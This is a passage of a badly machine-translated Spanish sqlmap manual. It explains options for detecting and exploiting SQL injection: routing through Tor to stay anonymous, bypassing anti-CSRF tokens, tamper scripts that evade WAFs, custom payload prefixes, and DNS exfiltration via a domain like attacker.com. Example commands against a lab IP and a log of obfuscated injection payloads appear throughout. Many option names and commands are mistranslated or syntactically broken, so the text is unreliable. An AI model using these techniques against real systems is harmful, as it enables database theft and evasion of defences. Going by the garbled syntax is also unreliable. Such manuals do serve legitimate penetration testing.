Mientras que la sintaxis de las credenciales 'es nombre de usuario: contraseña . Ejemplo de sintaxis válida:

Page 14: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

$ Python sqlmap.py -u "http:? //192.168.136.131/sqlmap/mysql/basic/get_int.php ID \ = 1 "de tipo básico --auth --auth-CRED" testuser: testpass "

protocolo HTTP de autenticación de clave privada

Opción: --auth-archivo Esta opción se debe utilizar en los casos en que el servidor web requiere certificado de cliente adecuado y una clave privada para la autenticación. Valor proporcionado debe ser un formato PEM key_file que contiene su certificado y una clave privada.

No haga caso de error HTTP 401 (no autorizado)

Cambiar --ignore-401 En caso de que desee probar el sitio que de vez en cuando devuelve el error HTTP 401 (no autorizado), mientras que desea ignorar y continuar las pruebas sin proporcionar las credenciales adecuadas, puede utilizar el interruptor --ignore-401

HTTP (S) de proxy

Opciones y conmutador: --proxy , --proxy-CRED , --proxy-archivo y --ignore-proxy Es posible proporcionar una dirección de proxy HTTP (S) para pasar por el HTTP (S) solicita a la dirección URL de destino con la opción --proxy . La sintaxis de HTTP (S) Valor proxy es http: // url: puerto . Si el HTTP (S) proxy requiere autenticación, puede proporcionar las credenciales en el formato denombre de usuario: contraseña a la opción --proxy-CRED . En caso de que desee utilizar la lista de proxy (desechables), saltando a la siguiente proxy en cualquier signo de un problema de conexión (por ejemplo, el bloqueo de la dirección IP invasivo), opción --proxy-archivo puede ser utilizado por proporcionar el nombre de archivo de un archivo que contiene lista mayor parte de los proxies. Cambiar --ignore-proxy se debe utilizar cuando se quiere ejecutar sqlmap contra una pieza de destino de una red de área local haciendo caso omiso de la configuración del servidor proxy de todo el sistema conjunto de HTTP (S).

red anónima Tor

Interruptores y opciones: --tor , --tor puertos , de tipo --tor y --check-tor Si, por cualquier razón, es necesario permanecer en el anonimato, en lugar de pasar por un servidor proxy HTTP único predefinido (S), se puede configurar un cliente Tor , junto con Privoxy(o similar) en su máquina como se explica en las guías de instalación de Tor . A continuación, puede utilizar un interruptor --tor y sqlmap intentará configurar automáticamente los ajustes de conexión de proxy Tor.

Page 15: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

En caso de que desee establecer manualmente el tipo y el puerto de los usados proxy de Tor, puede hacerlo con opciones de tipo --tor y --tor-puerto (por ejemplo, de tipo --tor = SOCKS5 --tor-puerto 9050 ) . Se recomienda encarecidamente utilizar --check-tor de vez en cuando para asegurarse de que todo se ha configurado correctamente. Hay casos en los paquetes de Tor Vidalia (por ejemplo) vienen mal configurado (o restablecimiento de la configuración establecida previamente) que le da una falsa sensación de anonimato. El uso de este interruptor se sqlmap comprobar que todo funciona como se esperaba mediante el envío de una única solicitud a un funcionario ¿Está utilizando Tor? Página antes de cualquier solicitud de destino. En caso de que el registro falla, sqlmap le advertirá y salir de forma abrupta.

Retardo entre cada petición HTTP

Opción: --delay Es posible especificar un número de segundos que se mantenga entre cada petición HTTP (S). El valor válido es un flotador, por ejemplo 0.5 significa la mitad de un segundo. De manera predeterminada, no se establece ningún retardo.

Segundos de espera antes de la conexión de tiempo de espera

Opción: --timeout Es posible especificar un número de segundos de espera antes de considerar el HTTP (S) solicitud ha caducado. El valor válido es un flotador, por ejemplo 10.5 significa diez segundos y medio. Por defecto 30 segundos se establecen.

El número máximo de reintentos cuando la conexión HTTP tiempos de espera

Opción: --retries Es posible especificar el número máximo de reintentos cuando los tiempos de espera de HTTP (S) de conexión. Por defecto se vuelve a intentar hasta tres veces .

Al azar cambiar el valor de parámetro determinado (s)

Opción: --randomize Es posible especificar nombres de los parámetros cuyos valores desea cambiar aleatoriamente durante cada solicitud. Longitud y el tipo se mantienen de acuerdo a los valores originales proporcionadas.

Page 16: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

objetivos de filtrado de registro de proxy proporcionado utilizando expresiones regulares

Opción: --scope En lugar de utilizar todas las máquinas analizadas desde los registros de siempre con la opción -l , puede especificar Python expresión regular válida para ser utilizada para el filtrado de los deseados. Ejemplo de sintaxis válida:

$ Python sqlmap.py -l burp.log --scope = "?. (Www) \ target \. (Com | net | org)"

Evitar la sesión para ser destruidos después de demasiadas peticiones infructuosas

Opciones: --safe-url , --safe-post , --safe-REQ y --safe-freq A veces las aplicaciones web o en la tecnología de inspección entre destruye la sesión si no se realiza un cierto número de solicitudes sin éxito. Esto puede ocurrir durante la fase de detección de sqlmap o cualquiera de los tipos de inyección de SQL ciegos cuando se explota. Razón por la cual es que la carga útil de SQL no necesariamente produce una salido, por lo que podría plantear una señal para bien de la gestión de sesión de aplicación o de la tecnología de inspección.

Para evitar esta limitación establecida por el destino, puede proporcionar ninguna opción (o combinación de):

--safe-url : Dirección URL para visitar con frecuencia durante la prueba. --safe post : HTTP POST para enviar datos a una dirección URL segura dado. --safe-requisito : Cargar y utilizar petición HTTP segura desde un archivo. --safe Frec : Prueba solicita entre dos visitas a un lugar seguro dado.

De esta manera, sqlmap visitará todos un número predefinido de solicitudes de un cierto seguroURL sin realizar ningún tipo de inyección en contra de ella.

Desactive la codificación URL de valores de parámetros

Cambiar: --skip-urlencode Según la colocación de parámetro (por ejemplo, GET) su valor podría URL codificada por defecto.En algunos casos, los servidores web de back-end no siguen las normas RFC y requieren valores que se van a enviar en su forma no codificada en bruto. Use --skip-urlencode en ese tipo de casos.

Bypass anti-CSRF protección

Page 17: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Opciones: --csrf token y --csrf-url Muchos de los sitios incorporan la protección anti-CSRF en forma de fichas, los valores de campos ocultos que se establecen al azar durante cada respuesta de búsqueda. sqlmap automáticamente tratará de reconocer y derivación de este tipo de protección, pero hay opciones--csrf token y --csrf-url que se puede utilizar para afinar Furter. Opción --csrf token se puede utilizar para establecer el nombre del valor oculto que contiene el token aleatorio. Esto es útil en los casos en los sitios web utilizan nombres no estándar para tales campos. Opción --csrf-url puede ser utilizado para la recuperación del valor del testigo de la dirección URL arbitraria. Esto es útil si la URL de destino vulnerable no contiene el valor del testigo es necesario, en primer lugar, pero es necesario extraerlo de alguna otra ubicación.

Fuerza el uso de SSL / HTTPS

Cambiar: --force-ssl En caso de que el usuario quiere forzar el uso de SSL / HTTPS hacia el objetivo, se puede usar este parámetro. Esto puede ser útil en los casos en que las direcciones URL están siendo recogidos por el uso de la opción --crawl o cuando el registro de eructar se proporciona con la opción -l .

Evaluar el código Python personalizada durante cada solicitud

Opción: --eval En caso de que el usuario quiere cambiar (o) añadir nuevos valores de los parámetros, la mayoría probablemente a causa de alguna dependencia conocida, que puede proporcionar a sqlmap un código python personalizado con opción --eval que serán evaluados antes de cada solicitud. Por ejemplo:

$ Python sqlmap.py -u "http: //www.target.com/vuln.php id = 1 y = hash de c4ca4238a0b9238 \? 20dcc509a6f75849b "--eval =" hashlib importación; picadillo = hashlib.md5 (id) .hexdigest () "

Cada solicitud de ejecución se alcance el valor del parámetro GET reevaluar de hash para contener un hash MD5 fresca digerir para el valor actual del parámetro ID .

Mejoramiento

Estos conmutadores se pueden utilizar para optimizar el rendimiento de sqlmap.

optimización Bundle

Page 18: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Cambiar: -o Este interruptor es un alias que establece implícitamente las siguientes opciones e interruptores:

--mantener viva --null conexión --threads = 3 si no se establece en un valor más alto.

Lea a continuación para más detalles acerca de cada interruptor.

la predicción de salida

Cambiar: --predict-salida Este interruptor se utiliza en el algoritmo de inferencia estadística para la predicción secuencial de caracteres de valor siendo recuperados. Tabla estadística con los valores de carácter más prometedores está siendo construido en base a los elementos que figuran en el txt / common-outputs.txt combinado con el conocimiento de la enumeración de corriente utilizada. En caso de que el valor se encuentra entre los valores de salida comunes, ya que el proceso avanza, tablas de caracteres subsiguientes se estrecharon cada vez más. Si se usa en combinación con la recuperación de las entidades DBMS comunes, como ocurre con los nombres de tabla y sistema de privilegios, velocidad es significativo. Por supuesto, puede editar el archivo de salidas de común acuerdo con sus necesidades, si, por ejemplo, se observa patrones comunes en los nombres de tabla de base de datos o similares. Tenga en cuenta que este interruptor no es compatible con --threads interruptor.

Mantenimiento de conexiones HTTP

Cambiar: --keep-alive Esto indica a sqlmap de usar (s) de conexiones HTTP persistentes.

Tenga en cuenta que este interruptor es incompatible con --proxy interruptor.

NULL conexión HTTP

Interruptor: --null conexión Hay tipos especiales de petición HTTP que se pueden utilizar para recuperar el tamaño de la respuesta HTTP sin conseguir el cuerpo HTTP. Este conocimiento puede ser utilizado en la técnica de inyección ciega de distinguir verdadera de falsas respuestas. Cuando se proporciona este interruptor, sqlmap tratará de probar y explotar dos diferentes de conexión NULL técnicas:Rango y CABEZA . Si cualquiera de estos está soportado por el servidor Web de destino, acelerar vendrá del ahorro evidente de ancho de banda utilizado.

Page 19: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Estas técnicas se detallan en el libro blanco de ruptura Actuaciones en Blind SQL Injection - Tome 2 (ancho de banda) .

Tenga en cuenta que este interruptor es incompatible con el interruptor de sólo --text .

HTTP (S) concurrente solicitudes

Opción: --threads Es posible especificar el número máximo de HTTP concurrente (S) las solicitudes que se permite sqlmap hacer. Esta función se basa en múltiples hilos concepto y hereda tanto en su pro y sus contras.

Esta cuenta se aplica a los interruptores de fuerza bruta y cuando el ir a buscar los datos se realiza a través de cualquiera de las técnicas de inyección SQL ciegos. Para este último caso, sqlmap primero calcula la longitud de la salida de la consulta en un solo hilo, a continuación, inicia el multi-threading. Cada hilo se asigna para recuperar un carácter de la salida de la consulta. El hilo se termina cuando se recupera ese personaje - se tarda hasta 7 HTTP (S) solicita con el algoritmo de bisección aplicado en sqlmap.

El número máximo de solicitudes simultáneas se establece en 10 , por razones de rendimiento y fiabilidad sitio.

Tenga en cuenta que esta opción no es compatible con el interruptor --predict-salida .

Inyección

Estas opciones se pueden utilizar para especificar qué parámetros para probar, proporcionar cargas útiles de inyección de secuencias de comandos personalizados y manipulación opcionales.

comprobable parámetro (s)

Opciones: -p y --skip Por defecto todas las pruebas sqlmap GET parámetros y la POST parámetros. Cuando el valor de--level es> = 2 pone a prueba también HTTP galleta de valores de cabecera. Cuando este valor es> = 3 se pone a prueba también HTTP User-Agent y HTTP Referer valor de la cabecera de las inyecciones SQL. Sin embargo, es posible especificar manualmente una lista separada por comas de parámetro (s) que desea sqlmap a prueba. De este modo evita la dependencia del valor de --level también. Por ejemplo, para la prueba de GET parámetro de Identificación y para HTTP User-Agentsolamente, proporcionar -p "Identificación, user-agent" .

Page 20: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

En caso de que el usuario quiere excluir ciertos parámetros de las pruebas, se puede utilizar la opción --skip . Esto es especialmente útil en los casos cuando se desea utilizar un valor más alto para --level y probar todos los parámetros disponibles con exclusión de algunas de las cabeceras HTTP normalmente está probando. Por ejemplo, para omitir las pruebas de cabecera HTTP User-Agent y el encabezado HTTPReferer en --level = 5 , proporcionar skip = "user-agent, árbitro" .

punto de inyección URI

Hay casos especiales en los puntos de inyección está dentro del propio URI. sqlmap no realiza ninguna prueba automática contra sendas URI, a no ser señalado de forma manual para. Se tiene que especificar estos puntos de inyección en la línea de comandos añadiendo un asterisco ( * ) después de cada punto URI que desea sqlmap para probar y explotar una inyección SQL. Esto es particularmente útil cuando, por ejemplo, de Apache servidor web mod_rewrite módulo está en uso u otras tecnologías similares.

Un ejemplo de línea de comandos válida sería:

$ Python sqlmap.py -u "http: // TargetURL / parám1 / valor1 * / param2 / valor2 /"

Forzar el DBMS

Opción: --dbms Por defecto sqlmap detecta automáticamente el sistema de gestión de base de datos back-end de la aplicación web. sqlmap es totalmente compatible con los siguientes sistemas de gestión de base de datos:

MySQL Oráculo PostgreSQL Microsoft SQL Server acceso Microsoft SQLite Firebird Sybase SAP MaxDB DB2

Si por alguna razón sqlmap no puede detectar el DBMS de back-end vez a la inyección de SQL ha sido identificado o, si se quiere evitar una fingeprint activo, que puede proporcionar el nombre del programa de fondo a sí mismo (por ejemplo, DBMS PostgreSQL ). Para MySQL y Microsoft SQL Server proporcionan ellos, respectivamente, en forma de MySQL <versión> y Microsoft SQL Server

Page 21: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

<versión> , donde <versión> es una versión válida para el DBMS; por ejemplo 5.0 de MySQL y 2005 para Microsoft SQL Server. En caso de que proporcione --fingerprint junto con --dbms , sqlmap sólo se llevará a cabo la extensa huella digital para el sistema de gestión de base de datos especificado solamente, lea a continuación para más detalles. Tenga en cuenta que esta opción es no obligatorio y se recomienda utilizarlo sólo si está absolutamente seguro sobre el sistema de gestión de base de datos back-end. Si no lo saben, y mucho sqlmap automáticamente las huellas digitales para tí.

Forzar el nombre del sistema operativo del sistema de gestión de base de datos

Opción: --os Por defecto sqlmap detecta automáticamente el sistema operativo subyacente sistema de gestión de base de datos back-end de la aplicación web cuando esta información es una dependencia de cualquier otro interruptor o facultad prevista. Por el momento los sistemas operativos totalmente compatibles son:

Linux ventanas

Es posible forzar el nombre del sistema operativo si ya sabe que para que sqlmap evitará hacerlo en sí.

Tenga en cuenta que esta opción es no obligatorio y se recomienda utilizarlo sólo si está absolutamente seguro sobre el sistema de gestión de base de datos del sistema operativo subyacente de fondo. Si no lo saben, y mucho sqlmap identifica automáticamente por usted.

Forzar el uso de números grandes para invalidar los valores

Cambiar: --invalid-bignum En los casos en que sqlmap necesita para invalidar el valor del parámetro original (por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con este interruptor es posible forzar el uso de valores enteros grandes para cumplir el mismo objetivo (por ejemplo id = 99999999 ).

Forzar el uso de operaciones lógicas para invalidar los valores

Cambiar: --invalid-lógica En los casos en que sqlmap necesita para invalidar el valor del parámetro original (por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con

Page 22: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

este interruptor es posible forzar el uso de operaciones booleanas para cumplir el mismo objetivo (por ejemplo id = 13 y 18 = 19 ).

Forzar el uso de cadenas aleatorias para invalidar los valores

Cambiar: --invalid cuerdas En los casos en que sqlmap necesita para invalidar el valor del parámetro original (por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con este interruptor es posible forzar el uso de cadenas aleatorias para cumplir el mismo objetivo (por ejemplo id = akewmc ).

Desactivar el mecanismo de carga útil de colada

Cambiar: --no-yeso Al recuperar los resultados, sqlmap utiliza un mecanismo en el que todas las entradas se están fundidas a tipo de cadena y se sustituyen por un espacio en blanco en caso de NULL valores. Que se está realizando para evitar estados erróneos (por ejemplo, la concatenación de NULL valores con los valores de cadena) y fácil el proceso de recuperación de datos en sí. Sin embargo, se han reportado casos (por ejemplo, las versiones anteriores de MySQL DBMS), donde este mecanismo necesario para ser convertido-off (uso de este parámetro) debido a problemas con la recuperación de datos en sí (por ejemplo Ninguno valores son devueltos).

Desactive cadena de mecanismo de escape

Cambiar: --no-fuga En los casos en que sqlmap necesita utilizar (comilla simple delimitado) los valores de cadena dentro de cargas útiles (por ejemplo, SELECT 'parametro' ), son automáticamente se escaparon aquellos valores (por ejemplo, SELECT CHAR (102) + CHAR (111) + CHAR (111) + CHAR (98) + CHAR (97) + CHAR (114) ). Eso se está haciendo debido a dos cosas: la ofuscación del contenido de la carga útil y prevenir posibles problemas con los mecanismos que escapan de consulta (por ejemplo magic_quotes y / o mysql_real_escape_string ) en el servidor back-end. El usuario puede utilizar este interruptor para apagarlo (por ejemplo, para reducir el tamaño de carga útil).

Encargo de carga útil de inyección

Opciones: --prefix y --suffix En algunas circunstancias el parámetro vulnerable es explotable sólo si el usuario proporciona un sufijo específico que se anexa a la carga de la inyección. Otro escenario donde estas opciones vienen en sí misma ofrece muy útil cuando el usuario ya sabe que la sintaxis de consulta y quieren detectar y explotar la

Page 23: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

inyección de SQL, proporcionando directamente un prefijo y un sufijo de carga útil de inyección.

Ejemplo de código fuente vulnerables:

$ Query = "SELECT * FROM usuarios WHERE id = ( '" $ _GET. [' Id ']. "') LIMIT 0, 1";

Para detectar y explotar esta inyección SQL, puede dejar que sqlmap detectar las fronteras(como en la combinación de prefijo y un sufijo de carga útil de SQL) para que durante la fase de detección, o proporcionar por su cuenta.

Por ejemplo:

$ Python sqlmap.py -u "http: //192.168.136.131/sqlmap/mysql/get_str_brackets.php \ ? Id = 1 "Identificación -p --prefix" ') "--suffix" Y (' abc '=' abc " [...]

Esto dará lugar a todas las solicitudes sqlmap para terminar en una consulta de la siguiente manera:

$ Query = "SELECT * FROM usuarios WHERE id = ( '1') <payload> Y ( 'abc' = 'abc') LIMIT 0, 1";

Lo cual hace que la consulta sintácticamente correcta.

En este sencillo ejemplo, sqlmap podría detectar la inyección de SQL y se aprovechan de ella sin necesidad de proporcionar límites personalizados, pero a veces en aplicaciones del mundo real, es necesario proporcionarla cuando el punto de inyección está dentro anidados UNIRSE consultas, por ejemplo.

Manipulación indebida de datos de inyección

Opción: --tamper sqlmap en sí no hace la ofuscación de la carga útil enviada, a excepción de cadenas entre comillas simples reemplazados por sus CHAR () la representación -igual. Esta opción puede ser muy útil y potente en situaciones donde hay un débil mecanismo de validación de entrada entre el usuario y el sistema de gestión de base de datos back-end. Este mecanismo usualmente es una rutina de validación de entrada de desarrollo propio llamado por el código fuente de la aplicación, un dispositivo IPS de nivel empresarial caro o un firewall de aplicaciones Web (WAF). Todas las palabras de moda para definir el mismo concepto, implementado de una manera diferente y que cuesta mucho dinero, por lo general.

Para aprovechar las ventajas de esta opción, se debe sqlmap con una lista separada por comas de las secuencias de comandos de manipulación y esto va a procesar la carga útil y devolverlo transformado. Puede definir sus propias secuencias de comandos de manipulación indebida, utilizar los sqlmap del pisón / carpeta o editarlos, siempre y cuando ellos concatenar separados por comas como valor de la opción --tamper (por ejemplo --tamper = "entre, randomcase" ).

Page 24: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

El formato de una secuencia de comandos de manipulación válida es la siguiente:

# Importaciones necesarias de lib.core.enums importar PRIORIDAD # Definir cual es el orden de aplicación de los guiones de sabotaje contra # la carga útil __priority__ = PRIORIDAD . NORMAL def manipular ( carga útil ): '' ' Descripción de la secuencia de comandos de manipulación indebida ' '' RetVal = carga útil # Su código de manipulación de la carga útil original, # Devolver la carga útil manipulado retorno RetVal

Puede comprobar las secuencias de comandos de manipulación válidos y utilizables en lamanipulación indebida / directorio. Ejemplo de MySQL contra un objetivo suponiendo que los > caracteres, espacios y de capitalSELECT cadena están prohibidos: $ Python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" - \ sabotaje sabotaje / between.py, sabotaje / randomcase.py, sabotaje / space2comment.py -v 3 [hh: mm: 03] [DEBUG] La limpieza de los parámetros de configuración [Hh: mm: 03] [INFO] script de carga de sabotaje "entre" [Hh: mm: 03] [INFO] script de carga de sabotaje 'randomcase' [Hh: mm: 03] [INFO] la carga de la escritura de sabotaje 'space2comment' [...] [Hh: mm: 04] [INFO] prueba 'y ciego booleano de base - WHERE o HAVING' [Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 1369 = 7706 / ** / Y / ** / (4092 = 4092 [Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 9267 = 9267 / ** / Y / ** / (4057 = 4057 [Hh: mm: 04] [CARGA] 1 / ** / y / ** / 950 = 7041 [...] [Hh: mm: 04] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - cláusula WHERE o HAVING ' [Hh: mm: 04] [CARGA] 1 / ** / y / ** / (SELECT / ** / 9921 / ** / FROM (SELECT / ** / Count (*), CONC AT (CHAR (58,117,113,107,58), (/ ** / (caso SELECT / ** / cuándo / ** / (9921 = 9921) / ** / then / ** / 1 / ** / Else / ** / 0 / ** / END)), Char (58,106,104,104,58), suelos (rand (0) * 2)) x / ** / DE / ** / Información rmation_schema.tables / ** / grupo / ** / BY / ** / x) a) [Hh: mm: 04] [INFO] GET parámetro 'id' es 'MySQL> = 5.0 y basada en el error - WHERE o cláusula HAVING inyectable ' [...]

Page 25: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Detección

Estas opciones se pueden usar para personalizar la fase de detección.

Nivel

Opción: --level Esta opción requiere un argumento que especifica el nivel de pruebas que desee realizar. Haycinco niveles. El valor por defecto es 1 , donde se llevan a cabo número limitado de pruebas (solicitudes). A la inversa, el nivel de 5 probará más detallados para un número mucho mayor de cargas útiles y los límites (como en par de prefijo y el sufijo carga útil SQL). Las cargas utilizadas por sqlmap se especifican en el archivo de texto XML / payloads.xml . Siguiendo las instrucciones en la parte superior del archivo, si sqlmap pierde una inyección, debe ser capaz de añadir su carga útil (s) para probar también! No sólo esta opción afecta a que la carga útil sqlmap intentos, pero también por los que se toman los puntos de inyección en el examen: GET y parámetros POST están siempre a prueba, valores de cabecera de cookies HTTP se prueban desde el nivel 2 / Referer valor encabezados 'y HTTP User-Agent se pone a prueba de nivel 3 .

Con todo, más difícil es detectar una inyección SQL, cuanto mayor sea el --level debe ajustarse. Se recomienda encarecidamente a mayor sea este valor antes de informar a la lista de correo que sqlmap no es capaz de detectar un cierto punto de inyección.

Riesgo

Opción: --risk Esta opción requiere un argumento que especifica el riesgo de pruebas que desee realizar. Haycuatro valores de riesgo. El valor por defecto es 1 , que es inofensiva para la mayoría de los puntos de inyección SQL. Valor de riesgo 2 añade al nivel predeterminado para las pruebas consulta pesada inyecciones SQL basados en el tiempo y el valor 3 añade también O basados en pruebas de inyección SQL. En algunos casos, como una inyección de SQL en una ACTUALIZACIÓN comunicado, la inyección de un OR de carga útil con base puede conducir a una actualización de todas las entradas de la tabla, lo que ciertamente no es lo que quiere el atacante. Por esta razón y otras esta opción se ha introducido: el usuario tiene control sobre qué cargas se hacen la prueba, el usuario puede elegir arbitrariamente utilizar también los potencialmente peligrosos. De acuerdo con la opción anterior, las cargas útiles utilizados por sqlmap se especifican en el archivo de texto XML / payloads.xml y que son libres de editar y añadir su propietaria.

comparación de la página

Page 26: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Opciones: --string , --no-secuencia , --regexp y --code Por defecto, la distinción de una verdadera consulta de un falso uno (concepto áspera detrás de vulnerabilidades de inyección SQL ciega basada en booleanas) se realiza mediante la comparación del contenido de la página peticiones inyectado con el contenido de la página no se ha inyectado originales. No siempre este concepto funciona porque a veces los cambios de contenido de página en cada actualización del aun no inyectar algo, por ejemplo, cuando la página tiene un contador, un banner de publicidad dinámica o cualquier otra parte del HTML que hayan sido transformados de forma dinámica y puede cambiar en el tiempo, no sólo en consecuencia, a la entrada del usuario. Para eludir este límite, sqlmap se esfuerza por identificar estos fragmentos de los cuerpos de respuesta y tratar en consecuencia. A veces puede fallar, es por eso que el usuario puede proporcionar una cadena ( --string opción), que debe estar presente en la página original (aunque no es un requisito) y en todas las páginas de consulta inyecta cierto, pero que es no en el los falsos. En lugar de cadena estática, el usuario puede proporcionar una expresión regular ( --regexp opción). Alternativamente, el usuario puede proporcionar una (cadena --no-secuencia opción) que es no presente en la página original, y no en todas las páginas de consulta inyectados cierto, pero aparece siempre en los falsos. Tales datos es fácil para un usuario recuperar, simplemente tratar de inyectar en el parámetro afectado un valor no válido y comparar manualmente el contenido de la página original (no inyectada) con el contenido de la página equivocada inyectado. De esta manera la distinción se basa en la presencia de cadena o expresión regular.

En los casos en que el usuario sabe que la distinción de una verdadera consulta de un falsouno puede hacerse utilizando el código HTTP (por ejemplo, 200 para la verdadera y 401 para elFalso ), que puede proporcionar esa información a sqlmap (por ejemplo --code = 200 ). Interruptores: --text-solo y --titles En los casos en que el usuario sabe que la distinción de una verdadera consulta de un falsouno puede hacerse utilizando título HTML (por ejemplo Bienvenido a Verdadero y Forbidden deFalso ), que a su vez puede convertirse en una comparación basada en el título utilizando los interruptores --titles . En los casos con gran cantidad de contenido activo (por ejemplo, secuencias de comandos, se incrusta, etc.) en el cuerpo de las respuestas HTTP ', puede filtrar páginas (switch --text de sólo) simplemente por su contenido textual. De esta manera, en un buen número de casos, se puede sintonizar automáticamente el motor de detección.

técnicas

Estas opciones se pueden utilizar para ajustar el ensayo de técnicas específicas de inyección SQL.

Page 27: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

técnicas de inyección SQL para la prueba de

Opción: --technique Esta opción se puede utilizar para especificar qué tipo de inyección SQL para detectar si existen.Por defecto sqlmap pruebas para todos los tipos / técnicas que soporta.

En determinadas situaciones, es posible que desee probar sólo para uno o pocos tipos específicos de pensamiento de inyección SQL y aquí es donde esta opción entra en juego.

Esta opción requiere un argumento. Tal argumento es una cadena compuesta por cualquier combinación de B , E , U , S , T y Q caracteres, donde cada letra representa una técnica diferente:

B : ciega a base de Boole E : basado Error T basado en consultas Unión: S : Stacked consultas T : ciega basada en Tiempo Q consultas Inline:

Por ejemplo, puede proporcionar ES si desea probar y explotar únicos tipos de inyección a base de errores y consultas SQL apilados. El valor por defecto es BEUSTQ . Observe que la cadena debe incluir consultas apilados carta técnica, S , cuando se desea acceder al sistema de archivos, toma de control del sistema operativo o de acceso a secciones del Registro de Windows.

Segundos para retrasar la respuesta de DBMS para inyección SQL ciega basada en el tiempo

Opción: --time-sec Es posible ajustar los segundos para retrasar la respuesta cuando las pruebas de inyección SQL ciega basada en el tiempo, proporcionando la --time-sec opción seguido por un número entero.Por defecto su valor se establece en 5 segundos .

Número de columnas de la inyección de consulta SQL UNION

Opción: --union-cols Por defecto sqlmap pruebas para consulta UNION técnica de inyección SQL con 1 a 10 columnas.Sin embargo, este rango se puede aumentar hasta 50 columnas, proporcionando una mayor --level valor. Ver el apartado correspondiente para más detalles.

Page 28: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección SQL con un rango específico de columnas, proporcionando la herramienta con la opción --union-colsseguido de una serie de números enteros. Por ejemplo, 12-16 significa que las pruebas de inyección de SQL consulta UNION mediante el uso de 12 hasta 16 columnas.

Caracteres utilizar para la prueba de inyección de consulta SQL UNION

Opción: --union-char Por defecto sqlmap pruebas para la técnica de inyección SQL utilizando consulta de unión NULLcarácter. Sin embargo, proporcionando un mayor --level valor sqlmap se lleva a cabo pruebas también con un número aleatorio, porque hay algunos casos donde las pruebas de esquina consulta de unión con NULL fallan, mientras que con un número entero aleatorio tienen éxito. Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección SQL con un carácter específico utilizando la opción --union-char con valor de carácter deseado (por ejemplo--union-char 123 ).

Tabla a utilizar en la inyección de la parte de consulta SQL UNION

Opción: --union -desde En algunos casos inyección UNIÓN consulta SQL hay una necesidad de hacer cumplir el uso del nombre de la tabla válida y accesible en DE cláusula. Por ejemplo, Microsoft Access requiere el uso de dicha tabla. Sin proporcionar inyección de consulta SQL de un sindicato no va a ser capaz de realizar correctamente (por ejemplo --union-from = usuarios ).

exfiltración ataque DNS

Opción: --dns-dominio Exfiltración DNS ataque de inyección SQL se describe en el documento de recuperación de datos de más de DNS de ataques de inyección SQL , mientras que la presentación de su implementación en el interior sqlmap se puede encontrar en las diapositivas exfiltración DNS mediante sqlmap .

Si el usuario es el control de una máquina registrada como un servidor de dominio DNS (por ejemplo, dominio attacker.com ) se puede activar este ataque mediante el uso de esta opción (por ejemplo --dns-dominio attacker.com ). Los requisitos previos para que funcione es ejecutar un sqlmap con administrador privilegios (uso del puerto privilegiado 53 ) y que una técnica normal (ciego) está disponible para su explotación. Eso es únicamente con el propósito de este ataque es acelerar el proceso de recuperación de datos en caso de que al menos una técnica ha sido identificado (en el mejor ciego basado en el tiempo caso). En caso de que las

Page 29: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

técnicas de consulta ciegos o unión a base de error están disponibles que se saltará como esos son los preferidos por defecto.

ataque de segundo orden

Opción: --second orden De segundo orden ataque de inyección SQL es un ataque en el que se muestra resultado (s) de una carga útil se inyecta en una página vulnerables (reflejado) en el otro (por ejemplo, el marco).Por lo general, eso está pasando por el almacenamiento de base de datos de usuario proporcionó información en la página inicial vulnerables.

Se puede decir de forma manual sqlmap para la prueba de este tipo de inyección SQL utilizando la opción --second orden con la dirección URL de la página web en la que se muestran los resultados.

Huella dactilar

sistema de huella digital extensa base de datos de gestión

